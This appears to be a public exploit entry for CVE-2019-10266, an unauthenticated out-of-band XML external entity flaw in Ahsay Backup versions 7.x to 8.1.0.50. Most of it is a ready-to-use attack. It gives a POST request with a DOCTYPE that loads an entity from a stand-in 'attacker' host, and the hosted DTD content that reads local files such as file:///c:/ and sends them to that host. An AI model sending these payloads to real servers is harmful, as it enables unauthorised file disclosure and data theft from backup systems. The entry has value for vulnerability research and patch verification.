28 lines
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984 B
Text
28 lines
No EOL
984 B
Text
# Unauthenticated XML External Entity (XXE) in Ahsay Backup v7.x - v8.1.0.50.
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# Date: 26-6-2019
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# Exploit Author: Wietse Boonstra
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# Vendor Homepage: https://ahsay.com
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# Software Link: http://ahsay-dn.ahsay.com/v8/81050/cbs-win.exe
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# Version: 7.x < 8.1.0.50
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# Tested on: Windows / Linux
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# CVE : CVE-2019-10266
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#Ahsay is vulnerable to a OOB Unauthenticated XML External Entity
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#More info https://www.wbsec.nl/ahsay/#CVE-2019-10263
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Sending the following POST request will trigger the XXE:
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POST /obs/obm8/user/setUserProfile HTTP/1.1
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Content-Type: application/octet-stream
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Content-Length: 126
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Host: 172.16.238.213:80
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<?xml version="1.0"?>
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<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]>
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On http://attacker/oob add the following content:
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<!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY %
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trick SYSTEM 'file://:%payl;/%payl;'>">
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Here it is possible to change file:///c:/ to any directory/file or internal host. |